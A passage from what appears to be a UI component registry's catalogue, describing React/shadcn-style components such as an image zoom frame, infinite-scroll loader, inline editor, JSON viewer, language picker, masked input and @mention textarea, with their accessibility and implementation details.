translucent white on purpose because what they lie on is a photograph rather than a themed surface. Light and dark follow on their own.
A frame that zooms whatever is inside it — wheel, trackpad pinch, double click or the buttons — and lets you drag it around once it no longer fits. Reach for it wherever a picture is too detailed to read at the size it is shown: product and listing photography where the buyer wants the fabric, the stitching or the serial number, floor plans and architectural drawings, engineering and CAD schematics, circuit diagrams, maps and site plans shipped as images, satellite and aerial imagery, medical scans and microscopy, screenshots in documentation and bug reports, design and artwork review, scanned documents and receipts, org charts and flow diagrams, dense data visualisations, archive and museum photography, and any figure in an article that is legible on a desktop and unreadable on a phone. Common asks it answers: "image zoom react", "pan and zoom component", "pinch to zoom image", "zoom into image on scroll", "wheel zoom image react", "draggable zoomable image", "zoom and drag image", "react-zoom-pan-pinch alternative", "medium-zoom alternative", "panzoom alternative", "image viewer component", "zoomable diagram", "magnify image component", "shadcn image zoom", "shadcn pan zoom". Official shadcn/ui has nothing for this and no combination of its parts reaches it: aspect-ratio only holds a box at a shape, carousel moves between pictures rather than into one, dialog can present an image larger but cannot magnify part of it, and scroll-area scrolls content it never scales. Distinct from image-comparison, which slides between two pictures of the same thing, and from image-crop, which chooses a region to save — this one changes nothing and only alters how closely you are looking. Pairs with fullscreen-button, which is how the frame gets big enough for zooming to pay off: go full screen first, then zoom in. The component turns on one piece of arithmetic: whatever is under the pointer stays under the pointer. Applying scale() about the centre of the frame is the one-line version everybody writes, and it is useless on anything worth zooming — the detail you aimed at slides toward the edge as you go in, faster the further from the middle it started, so reading a label becomes a game of zoom-then-drag-it-back. Here the translation is re-solved for each new scale so the anchor holds, and the scale is clamped before the translation is solved rather than after, which is what stops the picture lurching sideways on every wheel notch past the maximum. Four more things it settles that are invisible until they are wrong. The wheel listener is registered by hand with passive: false, because React attaches onWheel passively in several browsers and a passive listener's preventDefault is silently ignored — the frame zooms while the page scrolls out from under it. A trackpad pinch arrives as a wheel event with ctrlKey set rather than as a touch gesture, so a component written only for touch does nothing at all on a laptop; both paths run through one handler here. Wheel deltas are read with deltaMode, because Chrome and Safari report pixels while Firefox reports lines — ignoring it makes the zoom feel right in one browser and roughly sixteen times too slow in the other. And the steps are exponential rather than linear, so scrolling in and back out lands on the scale you started from instead of creeping smaller all afternoon. Everything the pointer can do has a keyboard form, because none of these gestures have one on their own: the frame is a tab stop, + and - zoom about its centre, the arrow keys pan, and 0 resets. The arrows are left to the page when there is nothing to pan, and touch-action is pan-y while the content fits and none once it does not, so a full-width frame is never something you cannot scroll past on a phone. The controls are labelled buttons marked aria-disabled rather than disabled — a real disabled drops them out of the tab order the moment you reach a limit — and they stay silent instead of reporting a change that did not happen. The zoom level is shown as a percentage in a polite live region, so it is announced rather than left as a visual-only state. Pan is clamped against the content's own unzoomed size rather than the frame's, so a letterboxed picture cannot be dragged half out of the box, and the frame re-clamps when it is resized, which is what a phone rotated while zoomed in needs. Uncontrolled by default (defaultTransform) or controlled by passing transform with onTransformChange. The maths is exported too — zoomAt, clampPan, clampScale and contentPointAt — so an annotation layer can map a click back to a point on the unzoomed image without reimplementing any of it. Styled entirely with shadcn tokens (border, background, muted, ring, accent), so it follows light and dark mode, and it ships zero dependencies — no Radix, no icon package, one file.
The footer of a list that keeps going: an invisible sentinel that loads the next page as it scrolls into view, plus a Load more button that always does the same job by hand. Reach for it on a feed or timeline, search results, a notification or activity list, a product or photo grid, a comment thread, chat history, an audit log, or any 'show more' at the end of a long table. Common asks it answers: "infinite scroll", "infinite scrolling react", "load more on scroll", "load more button", "endless scroll", "auto load next page", "IntersectionObserver load more", "react-infinite-scroll-component alternative", "scroll pagination", "fetch next page when the sentinel is visible", "lazy load a long list". shadcn/ui's pagination is numbered page links and nothing else — it renders no rows and loads nothing — so progressive loading gets hand-rolled every time, and the same three things break. Here the page footer stays reachable, because automatic loading yields to the button after autoLoadLimit pages (default 3, and a press grants another run) instead of running the page away from whatever is below the list. Each page is announced through a polite live region ("20 more items loaded. 60 in total.") rather than rows appearing in silence, and the button uses aria-disabled instead of disabled so pressing it never drops focus out of the list. And a failed page stops the sentinel and offers Retry instead of hammering a broken endpoint in a loop. Return a promise from onLoadMore and the duplicate-fire guard is exact; a loader that only bumps a page number is held until the list actually changes, so it asks once instead of firing a burst. A first page shorter than the viewport keeps loading until the viewport is full — the usual bug there is a sentinel that never leaves the screen, so no second intersection event ever comes and the list stops loading forever. Controlled: pass hasMore, itemCount and onLoadMore, and render it directly after your rows — it draws no list of its own, so it goes at the end of a ul or a grid unchanged. A table is the one place it needs placing by hand: this renders a div, and the HTML parser hoists a div written inside tbody out of the table entirely and drops it above the table, breaking the layout and hydration with it — so put it after the closing table tag, or inside a td with colSpan in a footer row. Optional loading for react-query or SWR, error for your own failure state, root for a list that scrolls inside a box rather than the page, rootMargin (default 200px) to prefetch early, auto={false} for button-only, and labels to reword or translate every string. Styled with shadcn tokens so it follows light and dark themes; lucide-react is the only dependency, with no Radix and no scroll library.
Click-to-edit text that stays where it is: a value shown as plain text with a pencil affordance that swaps to an input in the same spot when activated, commits on Enter or blur, and reverts on Escape — no dialog, drawer or separate edit form. Reach for it wherever one field is edited far more often than the rest of the record: renaming a project, board, list, folder, file or column header, a kanban or issue card title, a document or dashboard name, a cell in a table or data grid, a display name, bio or label in profile and settings, an environment or API key nickname, a saved view or filter name, a playlist or collection title. Common asks it answers: "inline edit react", "click to edit text", "edit in place", "editable text component", "editable label", "rename inline", "inline rename react", "double-click to rename", "contenteditable alternative", "react-contenteditable alternative", "editable table cell react", "inline edit input shadcn", "shadcn editable text", "notion-style inline editing", "click to edit title". Official shadcn/ui has nothing in this area, and it is worth stating precisely: across all 63 of its components the words contentEditable, editable, dblclick, rename, select() and setSelectionRange do not appear once, and its input is a twenty-line bare <input> with no state of any kind. So what gets written inline is an Input plus a boolean, and the boolean is where the bugs are. The one nobody catches is focus. Enter and Escape unmount the input while it still holds focus, so focus falls to <body>, and the next Tab restarts at the top of the page — the user renames a card, presses Enter, presses Tab, and is somewhere in the site header. Here a keyboard exit hands focus back to the trigger it came from, while a blur exit deliberately does not, because focus has already gone where the user put it. The trigger is a real <button>, so it is in the tab order and opens on Enter or Space; a <div onClick> version, which is what gets hand-rolled, is invisible to the keyboard entirely. The input focuses and selects itself on entry so typing replaces the value rather than appending to it. onSave is called with the trimmed draft and only when it actually differs from the value — clicking in and back out fires nothing, which matters because in a real app that callback is a network request and a row in an audit log, once per stray click. Escape restores the original, and the draft is re-seeded from value on every entry, so reopening after a cancel does not show the abandoned text. An empty value renders muted placeholder text rather than a zero-width button nobody can find and click. Both halves are named for a screen reader — "Edit {label}" on the trigger and {label} on the input — because the visible text that named the field is exactly what disappears when it becomes an input. saveOnBlur (default true) is the switch between committing on blur and requiring an explicit Enter, which is the right choice when the save is expensive or destructive. What it deliberately is not: it is an <input>, so it is single line — reach for a textarea for a description — and onSave is fire-and-forget, with no pending or error state of its own, so wrap it if the save can fail. Within pulld it is distinct from copy-field, which is a read-only value beside a copy button, from floating-label-input and autosize-textarea, which are form fields that are always fields, and from slug-input, which transforms as you type. Controlled through value + onSave; disabled leaves the tab order; every colour is a shadcn token (input, accent, ring, muted-foreground) so it follows light and dark; one file, one lucide icon, no other dependency.
Renders a parsed JSON value as a collapsible, type-coloured tree you can read and navigate. Reach for it wherever a page has to show a payload the reader did not write: an API or REST response in an admin or debug panel, a webhook body, the payload attached to a log or audit entry, a GraphQL response, an LLM tool-call's arguments, a JSONB/JSON database column, a feature-flag or config blob, a job's input and output in a queue dashboard, or the raw record behind a row in an internal tool. Common asks it answers: "json viewer", "json tree viewer", "json inspector", "object inspector", "display JSON in React", "render an API response", "pretty print JSON component", "collapsible JSON", "expandable JSON tree", "JSON formatter component", "view webhook payload", "debug panel for API responses", "react-json-view alternative", "shadcn JSON viewer". shadcn/ui ships nothing for JSON — its accordion and collapsible are single open/closed sections that know nothing about types, counts or depth — so this is normally either a raw <pre>{JSON.stringify(data, null, 2)}</pre>, which is unreadable past a screenful and cannot be collapsed, or a third-party viewer pulled in for one panel. Pass the value itself — `data={await res.json()}` — and nothing else is required: objects and arrays open and close, strings, numbers, booleans and null are coloured by type, every container reports how many entries it holds, and `defaultExpandedDepth` sets how much is open on first paint (0 for just the root, 1 by default, Infinity for the whole document). Built for payloads that are bigger than the demo: a container draws `maxItemsPerNode` entries (100 by default) behind a keyboard-reachable “… 39,900 more” row, so a 40,000-element array costs a hundred rows rather than mounting all of them, long strings are elided inside their quotes with the full text kept on hover, and a value that points back at one of its own ancestors is drawn as [Circular] instead of unfolding forever. It is the real ARIA tree pattern rather than a stack of collapsibles: role=tree/treeitem with aria-expanded, aria-level, aria-posinset and aria-setsize, and a roving tabindex that makes the whole viewer one Tab stop instead of one per row. Up/Down walk the rows actually on screen, Right opens a container and then steps into it, Left closes it or jumps to the parent, Home/End hit the ends, Enter/Space toggle a row or ask a “… more” row for its next page. `onSelect` hands back the row's accessor path — `$.items[0].id`, quoted so that `{ "a.b": 1 }` and `{ a: { b: 1 } }` never produce the same string, and pasteable straight into code — together with the live value, which is the hook for a copy button or a “filter to this” action; pair it with copy-button for copy-on-click. Open state is stored as the difference from `defaultExpandedDepth` rather than as a set of open paths, so swapping in the next response leaves the view opened to the same depth instead of collapsing to one unreadable root row. Counts are grouped without toLocaleString, whose locale-dependent output shows up as a hydration mismatch in Next.js. Styled with shadcn tokens (foreground, muted-foreground, accent, ring) plus dark-aware type colours so it follows light and dark themes; lucide-react is the only dependency, with no Radix, no state library and no JSON parser of its own. Distinct from tree-view, which renders a hierarchy you have already built into `{ id, label, children }` nodes: this one takes the raw parsed value and needs no node-building step, and it renders keys, types and counts rather than labels. Distinct from code-block, which shows JSON as static text to copy rather than a structure to open and walk.
Inline keyboard key rendered as a real <kbd> element and styled as a bordered monospace keycap — a drop-in for a bare <kbd> tag that otherwise renders as unstyled monospace text. Use it wherever an interface names a key the reader is meant to press: command palettes and ⌘K hints, tooltips, menu item accelerators, empty states that suggest a shortcut, onboarding tours, documentation and changelogs, and keyboard-shortcut help sheets. Common asks it answers: "kbd component", "keyboard shortcut badge", "render Cmd+K", "hotkey chip", "keycap style", "shortcut pill", "key badge", "style the kbd tag", "show a keybinding in a tooltip", "⇧⌘P badge", "shortcut hint next to a menu item", "Ctrl+S indicator", "Esc key label", "arrow key hint in docs". shadcn/ui now ships a kbd of its own, so choose deliberately rather than by search rank. Theirs is a flat sans-serif chip with no border at text-xs, and it comes with a KbdGroup wrapper for multi-key sequences, a rule that shrinks icons placed inside it, and one that inverts its colours inside a tooltip — if you want any of those, take theirs. Theirs also holds a minimum square footprint and centres its content, which suits single letters sitting in a row; this one is padding-driven, so a multi-character label like Esc, Tab or Enter sits evenly inside the same border. This one is a single element with a border, monospace text at 10px and slightly wider padding, so it reads as a physical key rather than as inline text and stays legible against surrounding prose at small sizes. Both are dependency-free, use the semantic <kbd> tag so assistive technology announces the content as keyboard input, and theme through shadcn tokens. For several keys in a row, wrap them in a flex container with a gap yourself, or install keyboard-shortcuts, which composes this into a grouped help sheet opened with ?.
The help sheet that opens when the user presses ? — a modal listing every keyboard shortcut in the app, grouped by area, with the key caps drawn per platform. Use it as soon as an app has shortcuts worth discovering: an editor, inbox or mail client, issue tracker, admin dashboard, IDE-like tool, dev tool, chat or any keyboard-first product where power users expect ? to explain itself. Common asks it answers: "keyboard shortcuts dialog", "keyboard shortcuts modal", "shortcuts help sheet", "press ? to see shortcuts", "shortcut cheat sheet", "hotkey list", "keymap overlay", "GitHub/Gmail/Linear-style shortcuts help", "show all hotkeys", "⌘K help screen". shadcn/ui ships nothing for this and its kbd is a bare key cap, so the sheet, the grouping, the ?-to-open wiring and the cross-platform key rendering are hand-rolled every time. Pass a `shortcuts` array of `{ keys, description, group? }`; groups render in the order they first occur, so the array is the outline. Write `"Mod"` in keys and it renders ⌘ on Apple platforms and Ctrl everywhere else — one source of truth instead of a Mac branch through your docs — and the literal token `"then"` renders as text rather than a cap so chords read as G then P. It documents shortcuts rather than binding them: your app already owns the handlers, and a component that registered them too would fight whatever hotkey library you use. The only key it owns is the one that opens it, and that listener ignores presses while focus is in an input, textarea, select or contenteditable, so typing "?" in a message box does not throw a modal over the composer. Platform detection runs in an effect, not during render — `navigator` does not exist on the server, so an inline branch would crash SSR or hydrate to different markup than it sent. Accessibility is the part that is easy to get wrong: the key caps are aria-hidden and each row carries an sr-only spoken form, because a screen reader meeting ⌘ announces "place of interest sign" or nothing at all, so the row reads "Open search, Command K"; opening moves focus into the dialog, which is what announces it, instead of a live region that would read the whole sheet twice; Tab is trapped, Escape closes, focus returns to whatever was focused before, and the scrolling list is itself focusable so a long list can be scrolled from the keyboard. Composes the kbd component for the caps. Styled with shadcn tokens (popover, muted-foreground, ring, border) for light and dark themes; lucide-react is the only dependency. Distinct from command-palette, which is a ⌘K launcher for running commands: this one is the reference card that tells users the shortcuts exist.
A UI language picker: every language named in its own language — 日本語, Deutsch, العربية, 한국어 — with its name in the page's language beside it, its BCP-47 tag, and a filter that reaches it by all four. Reach for it wherever a form has to settle which language something is read in: the interface or display language in account, profile, workspace and organisation settings; the language switcher on a multilingual site, marketing page or docs site; the language a customer's emails, notifications, invoices and receipts are sent in; the locale on an admin's view of a user, a seat or a tenant; the language of a help centre, knowledge base or support ticket; subtitle and audio-track selection; the source and target language on a translation or localisation screen; and the "preferred language" row on onboarding and sign-up. Common asks it answers: "language select", "language picker", "language switcher react", "locale select", "locale picker", "i18n language dropdown", "language selector shadcn", "shadcn language switcher", "BCP-47 select", "language combobox", "next-intl language switcher", "i18next language selector", "react-i18next dropdown", "choose interface language", "native language names select", "endonym language list", "list of languages react", "RTL language select". Official shadcn/ui has no language, locale or i18n item of any kind, and touches Intl nowhere in its sixty-three components — and the one item whose name comes close, direction, is a Radix DirectionProvider wrapper that takes a dir you have already worked out; it has no idea which languages are right-to-left. This fills that gap and exports the missing line between them. The fact the whole API is shaped around: there is no list of languages to read. Intl.supportedValuesOf answers for calendars, collations, currencies, numbering systems, time zones and units, and throws a RangeError for "language", "locale", "region" and "script" — unlike pulld's country-select and currency-select, which read the world's list at runtime. That absence is the right shape anyway, because a UI language field offers what you have actually translated, not the world's eight thousand languages: it offers the directories in your locales/ folder. So `languages` is the main prop — `languages={Object.keys(messages)}` — with a documented default of forty-one common tags so it renders something sensible on install. Every row leads with the endonym, the language naming itself, from Intl.DisplayNames(tag).of(tag). That is the one thing a hand-written language picker gets wrong, and it is not a nicety: the person opening this control is very often someone who cannot read the page it is on — that is why they opened it — so a list that says "Japanese" is no help to them and a list that says 日本語 is. The name in the page's language sits beside it for whoever is choosing on someone else's behalf, support staff setting a customer's locale or an admin filling in a seat, and disappears when it would only repeat the endonym. Tags, not bare ISO 639 codes, because a tag is what a locale directory is called: pt-BR and pt-PT are two shipped translations and the runtime names both ("Brazilian Portuguese", "European Portuguese"), zh-Hans is "Simplified Chinese", es-419 is "Latin American Spanish", and in Japanese the same call gives「ポルトガル語 (ブラジル)」. Right-to-left is line-drawn on purpose. Each row is marked with lang and dir, so a screen reader pronounces 한국어 with a Korean voice instead of spelling it out and العربية is laid out correctly inside a list that is not — but the component does not touch your document, because turning a chosen language into an RTL page is a decision about the whole tree. getLanguageDirection(tag) is exported so the two lines that do are yours (`document.documentElement.lang = tag; document.documentElement.dir = getLanguageDirection(tag)`), it is what you feed shadcn's own direction item, and it knows more than Arabic and Hebrew: Persian, Urdu, Pashto, Sorani Kurdish, Yiddish, Divehi, Sindhi and Uyghur are right-to-left too, while Kurmanji Kurdish and Azerbaijani are not. A tag the runtime cannot name is dropped rather than drawn raw — and the rule its sibling pickers use is not enough here, because Intl names "xx-US" as "xx (United States)", so the language subtag is checked as well; "pt_BR", the POSIX spelling that Intl rejects outright, and tags carrying a -u- extension go the same way. The filter reads four faces, because four different people type into it: the endonym (someone looking for their own language), the name in the page's language (someone choosing for them), the English name (typed constantly on non-English sites, because it is what the documentation says), and the tag itself (the developer, who has "pt-BR" in their head because it is the name of a directory). An exact tag wins outright, so "id" answers with Indonesian rather than Ido; a partial one finds a family, so "pt" brings both Portuguese translations and "zh" both Chinese scripts; folding strips accents and punctuation, so "cestina" finds čeština and 日本 finds 日本語; and a query that folds away to nothing, like "()", filters instead of quietly showing every row. Sorted through Intl.Collator by what the rows actually say, which groups the list by script and lets the reader's own collation decide where their script lands. The trigger is labelled with the endonym, and because that label does not depend on who is reading, it renders correctly on the server and never flashes a bare tag through hydration the way a name in the reader's language has to. A real combobox, not a styled div: the trigger is a type="button" with role="combobox" and aria-expanded, the panel is a listbox driven by aria-activedescendant, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view, opening a field that already says 日本語 starts on 日本語, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), and always emits the caller's own tag, character for character — never canonicalised, because that string is a key into your translations. `name` adds a hidden input so it submits with a native form; a stored tag outside a narrowed `languages` is still named rather than reading as "nothing chosen"; `priority` pins the two or three languages most of your readers use above the rest; `tags` turns off the tag column; and getLanguageName(), getLanguageEndonym() and getLanguageDirection() are exported for the rest of the page. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no locale-data package, no icon package, one file.
Submit button that shows a spinner, announces itself, and refuses to fire twice while an async action is in flight. Set loading={true} for the duration of the request and the button disables itself, so a second click cannot send the same request again; loadingText swaps the label for "Saving…" or "Charging card…" while it waits. It is the button for every action that has to go somewhere and come back: submit, save, publish, send, invite, apply, sign in, sign up, pay or check out, upload, export, retry, connect, delete in a confirmation dialog, and "generate" or "run" in an AI app. In practice the loading prop is wired straight to a state your data layer already has: isSubmitting from react-hook-form's formState, isPending from a TanStack Query useMutation or from React 19's useActionState, pending from useFormStatus inside a Next.js server action form, state !== "idle" from Remix or React Router's useNavigation, isMutating from SWR, isLoading from an RTK Query trigger — or a plain useState flag around an await fetch. Common asks it answers: "react button with loading spinner", "shadcn loading button", "button loading state react", "disable button while submitting", "prevent double submit react", "prevent duplicate form submission", "async submit button", "pending state button shadcn", "spinner inside button tailwind", "button spinner while awaiting fetch", "form submit loading state", "isPending button", "useFormStatus pending button", "useActionState loading button", "react-hook-form isSubmitting button", "tanstack query mutation loading button", "next.js server action loading button", "button aria-busy". Official shadcn/ui has no loading state anywhere in this path: its button ships no loading, pending or busy prop, and its spinner is a bare spinning icon with an aria-label — pairing them, disabling the button, and keeping the two in step is left to you, and doing it by hand is exactly where the double-submit bug comes from. This one carries aria-busy while pending, and the spinner it composes is pulld's, which puts the label in a role="status" polite live region rather than only on the icon, so the wait is announced instead of being a silent frozen button — and the label it announces is your loadingText, so "Charging card…" is what gets read out rather than a generic "Loading". Two things worth knowing before you drop it in a form: it defaults to type="button", so pass type="submit" explicitly when it submits a form (props are spread last, so your type wins), and disabling a focused button takes it out of the tab order — the live region is what carries the state to a screen reader once focus has moved. Within pulld it is the plain async button; confirm-button is the one that makes a destructive action be clicked twice, and type-to-confirm the one that makes it be typed out. The spinner atom installs with it through registryDependencies, it renders no client-side state of its own so it needs no "use client", and there is nothing else to add.
Holds a text field to one fixed shape while it is typed — a postal or ZIP code, a product or licence key, a serial, model or part number, an employee, member, account or policy number, a VIN, an IBAN, a SWIFT/BIC, a tracking number, an ISBN, a tax or national ID, a MAC address, a coupon or voucher code. You give it a mask: # is a digit, A a letter, * either, \ escapes the next character, and everything else is a separator the field writes for the person instead of asking them to type it. Common asks it answers: 'react input mask', 'masked input react', 'input mask shadcn', 'format input as you type react', 'react-input-mask alternative', 'cleave.js react', 'imask react', 'cursor jumps to end react input', 'caret jumps to end when formatting input', 'input formatting moves the cursor', 'react controlled input cursor position', 'cannot edit middle of formatted input', 'paste into masked input duplicates the dashes', 'backspace does nothing in masked input', 'strip formatting before submit react', 'store unformatted value react input', 'postal code input react', 'zip code mask', 'product key input component', 'license key input four groups', 'serial number input mask', 'VIN input react', 'IBAN input formatting', 'uppercase input react', 'numeric keyboard on mobile for code field'. shadcn/ui has nothing here at all: maskInput, inputMask, formatMask, placeholderChar, setSelectionRange and selectionStart each appear exactly zero times across the 245KB of component source its registry serves (62 of its 63 indexed items are actually served; questionnaire is listed but 404s on both style tracks), and its single mention of a caret is input-otp's animate-caret-blink, a decorative blinking div rather than a caret position. So this gets hand-written every time, and the hand-written version has the same three bugs. The caret is the first and the worst: reformatting on every keystroke replaces the whole value, so the caret goes to the end — which nobody notices while typing a fresh code left to right, and which makes the field unusable the moment someone goes back to fix the third character, because every keypress throws them to the end again. It is tracked here in typed characters rather than string offsets, since the separators move underneath it — typing the fourth digit of ###-#### inserts two characters where one was typed. Backspace and Delete are intercepted for the same reason: left to the browser, backspacing over a separator deletes it, the reformat puts it straight back, and the key looks broken, so those keys remove a typed character and let the separator follow. Pasting is the second: a field that strips separators and re-inserts them cannot tell one the person pasted from one it is about to add, and produces 123--4567. Here there is no paste handler at all — pasted text, typed text and a value handed over by a parent are read through the mask by one walk, so a separator the text already carries is consumed by the slot that was going to write one, and a character that does not fit its slot is dropped rather than slid sideways into the next slot that would take it, because silently reordering what someone typed is worse than ignoring a keystroke they can see did nothing. What gets submitted is the third: the field shows 123-4567 and reports 1234567, with the formatted string beside it rather than instead of it, so a controlled parent that stores what it is handed stores the value and not the presentation. name submits the raw value, formattedName submits the formatted one when the separators are part of what you store. Not the component for a format another pulld field already owns — date-input, time-input, phone-input, currency-input and otp-input each carry rules a mask cannot express (a month that stops at twelve, a calling code that decides how many digits follow it, a decimal separator that moves with the locale, a box per digit), so use those for dates, times, phone numbers, money and one-time codes, and this one for the shapes that are only a shape. It also makes no claim about whether the contents are real: a mask is a shape and not a checksum — an IBAN has mod-97, a VIN has a check digit, a card has Luhn — so isMaskComplete reports that every slot is filled and stops there, and the field never turns red on the second keystroke. The rest of the API: tokens adds or replaces the slot characters, which is how a VIN excludes I, O and Q that no general table knows about (tokens={{ ...MASK_TOKENS, V: /[A-HJ-NPR-Z0-9]/ }}); transform folds to uppercase or lowercase for keys, VINs and IBANs; onValueChange reports the raw value plus { formatted, complete } on every keystroke; a mask that changes — a postal code whose shape follows the country above it — takes the value with it and tells the parent. Accessibility is where a mask usually fails quietly: ___-____ in a placeholder is read out as underscores or skipped entirely, so describeMask says the shape in words ("3 digits, then 4 digits") into an sr-only description, and a caller's own aria-describedby is kept alongside it rather than overwritten; pass hint for another language or null to drop it. inputMode is derived, so an all-digit mask opens the number pad on a phone and a mixed one does not; type is text, so a leading zero survives and the separators can exist at all; autoCapitalize, autoCorrect, autoComplete and spellCheck default off, because a mobile keyboard rewrites a serial number into a word between the keypress and the change event, and all four can be overridden by a field that does have a browser entry. Nothing rendered depends on feature detection, so the server and the first client render agree and there is no hydration mismatch. formatWithMask, unmask, isMaskComplete and describeMask are exported as pure functions for the places the same answer is needed outside React — a confirmation screen, an admin table, a route handler checking what arrived, a migration normalising a column written both ways. Styled with shadcn tokens (input, ring, muted-foreground) for light and dark, className merges rather than fights, focus ring is focus-visible. One file, zero dependencies.
The comment box where typing `@` opens a list of people and picking one types their handle in — the completion that lives inside the prose, anchored under the caret rather than under the field. Reach for it wherever text is addressed to somebody: a code-review or pull-request comment, an issue or ticket description, a chat, DM or channel composer, a task assignment note, a document or design comment thread, a support reply, a release note that credits people, and an AI prompt box where `@` should pull in a file, a table or a teammate. The trigger is a prop, so the same field does `#` for issues, milestones or channels, `/` for commands and `:` for emoji. Common asks it answers: "mention input react", "@ mention textarea", "react mentions component", "autocomplete inside a textarea", "tag someone in a comment box", "@mention dropdown react", "slack style mention input", "github comment @ autocomplete", "shadcn mention input", "shadcn textarea autocomplete", "react-mentions alternative", "tribute.js alternative", "textarea caret position javascript", "get caret coordinates in textarea", "position dropdown at cursor react", "how to know where the cursor is in a textarea", "mirror div caret", "insert text at cursor react", "insertText execCommand react", "keep undo history when inserting text", "cmd+z broken after setState textarea", "mention autocomplete ignores email addresses", "detect @ but not in email", "IME enter selects autocomplete item", "日本語入力 変換確定 enter 誤爆", "メンション入力 react", "テキストエリア キャレット 座標". Official shadcn/ui has none of this, and the measurement is not close. Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 245 KB of source: mention, selectionStart, selectionEnd, setSelectionRange, execCommand, insertText, contentEditable, autocomplete and aria-activedescendant are every one of them zero hits. The single caret match is input-otp drawing a fake blinking one. Its textarea is twenty-three lines of styled element, and its combobox is a @base-ui/react popover hung off its own input group — a field whose whole value is the thing you picked, which is the opposite shape from a paragraph with three names in it. So an agent asked for a mention box builds it out of a plain textarea and a div, and the four things that make it hard are exactly the four it will get wrong. The first is that the menu has to appear at the caret, and the browser will not say where the caret is. There is no API for it: selectionStart is an index into a string and nothing converts one to pixels. The only way is to lay the text out a second time in a hidden mirror wearing the field's font, padding, border, width and wrapping, put a marker where the caret would be, and measure that — which is why the version that skips it pins the menu to a corner of the field, and offers suggestions next to line one for an `@` typed on line three. Details that decide whether the mirror is right: a copied border-width lays out as nothing without a border-style, getComputedStyle resolves width to the content box whichever box-sizing is in force (so copying box-sizing shrinks the column and rewraps every line), a trailing newline needs something after it or the last line never exists, and the field's own scroll has to be subtracted because the text moves under a caret that does not. The second is that finding the trigger is a word-boundary problem, not a search. Scan backwards for an `@` and every email address in the box opens the menu — and it is not an edge case, it is the first thing anyone pastes into a comment. A trigger welded to the end of a word is not a trigger. The other end matters as much: the query has to stop at the first space, or one stray `@` turns the rest of the paragraph into a search term and the list quietly goes empty. Both rules live in an exported pure function, findMentionQuery, along with a bound on how far back it scans, so a 40 KB comment costs the same as a short one. The third is the keyboard, and it is where this component makes its strongest claim. While the menu is open, Up, Down and Enter belong to the list; while it is closed they belong to the textarea, and Shift+Enter is a new line either way. But there is a third owner nobody accounts for: an open IME conversion. Enter commits the reading, the arrows walk the candidate window, and a mention box that takes those keys leaves a Japanese, Chinese or Korean writer unable to finish a word — they press Enter to accept 山田 and a name they never chose lands in the text instead. Every key is checked against isComposing and against keyCode 229, which is what the browsers that clear isComposing early report instead, and compositionstart is tracked on top of both. The menu itself keeps updating during the conversion, because suppressing it would leave that same writer typing blind; it is the keys that are borrowed, not the list. The fourth is undo, and it is invisible until someone hits Cmd+Z. Writing the new value with setState looks identical on screen and empties the browser's undo stack, so one undo after picking a name wipes the entire comment rather than stepping back over the insert — because as far as the browser is concerned, nobody typed anything. The insert goes through execCommand("insertText") instead, deprecated and still the only way to put text into a field as though a person had, so the undo entry exists and the input event fires like any keystroke. Where that is unavailable the fallback writes through the prototype's value setter rather than the element, because React installs its own value property on the node to track changes: assign to the element and the tracker updates as a side effect, the input event that follows is discarded as "no change", and a controlled field ends up showing text its owner never received. Accessibility is the ARIA 1.2 editable-combobox pattern, complete rather than approximated: the textarea carries role="combobox" with aria-expanded present whether the menu is open or shut, aria-controls and aria-autocomplete="list", and the highlighted row is tracked with aria-activedescendant so DOM focus never leaves the text — moving it into the list would take the caret with it and there would be nothing left to insert into. The cost is stated plainly: a field with that role is announced as a combobox even while no menu is open, which is the price of the menu being reachable at all. The live region follows char-counter's discipline rather than the reflex — announcing the count on every keystroke makes a screen reader read numbers over the letters being typed, so the count is spoken once when the menu opens, and again only when the matches run out. That last one matters more than it looks: no matches usually closes the menu, and a writer who cannot see it vanish is otherwise told nothing at all about the name they just typed. The API: items of { id, label, value?, description?, disabled? } — value is the text typed in when the label has a space in it, since `@Ada Lovelace` is not a token anything can find again and `@ada` is. Controlled with value and onChange or uncontrolled with defaultValue, on a real <textarea> that forwards its ref, so labels, react-hook-form and native validation keep working. filter takes your own matcher or false for a server-side one, and onQueryChange reports the query as it changes (and null when it closes) for the async lookup, with loading and showEmpty for the states that lookup goes through. Also trigger, maxItems, maxQueryLength, allowSpaces for names with spaces, toInsertText, renderItem, and labels for every string. The default matcher folds accents so "jose" finds José, and ranks a match at the start of a word above one buried inside it, so "@love" puts Ada Lovelace above Clover. useMentionInput returns the whole behaviour as props to spread onto a field you lay out yourself — it takes onInput rather than onChange precisely so it does not collide with the value plumbing you already have — and findMentionQuery, defaultMentionFilter, insertMentionText and measureCaretPosition are exported for the times you want one part of it. Within pulld it is the third layer on the comment box: autosize-textarea is the field that grows, char-counter is the count underneath it, and this is what happens inside it — spread the hook onto AutosizeTextarea and all three compose. It is distinct from multi-select and tag-input, which are fields whose value is a list you assembled; here the value is prose that happens to have names in it. Distinct from command-palette too, which owns the whole screen to run a command rather than living in one field. One file, zero dependencies — not even an icon — and every colour is a shadcn token, so it follows light and dark.
One line of text with the middle removed so that both ends stay readable, fitted to whatever width the container actually gives it. Use it for file names — where ordinary CSS truncation eats the extension and every row ends up reading "quarterly-report-2026-fin…" — and for file paths and breadcrumbs, URLs, S3 and object-storage keys, IPFS CIDs, git SHAs and commit hashes, docker image digests, wallet and contract addresses, API keys, tokens and JWTs, request, trace and session IDs, branch and artifact names, email addresses in a narrow column, and any other identifier whose tail is the part that tells two of them apart. The places it usually goes: a file or storage browser, an uploads list, a table cell in a fixed-width column, a sidebar file tree, a build or deploy log, a commit list, an API-keys settings page, a connected-wallet button, and any breadcrumb that has to survive a narrow window. Common asks it answers: "truncate the middle of a string", "middle ellipsis react", "truncate middle component", "truncate a filename but keep the extension", "ellipsis in the middle of text", "shorten a wallet address to 0x1234…abcd", "truncate ethereum address react", "truncate a long path from the middle", "text-overflow ellipsis but centered", "css truncate middle", "tailwind truncate middle", "abbreviate a long ID", "responsive text truncation", "react-middle-truncate alternative", "react-truncate alternative", "smart ellipsis". CSS genuinely cannot do this — text-overflow: ellipsis only ever cuts the end, and there is no middle variant to reach for — and official shadcn/ui has no truncation primitive anywhere: its table and card are layout, scroll-area scrolls text it never shortens, and tooltip can show the full value but cannot decide what the short one should be. So it is normally hand-rolled as a fixed character count, which is wrong at every container width except the one it was tuned for. Distinct from 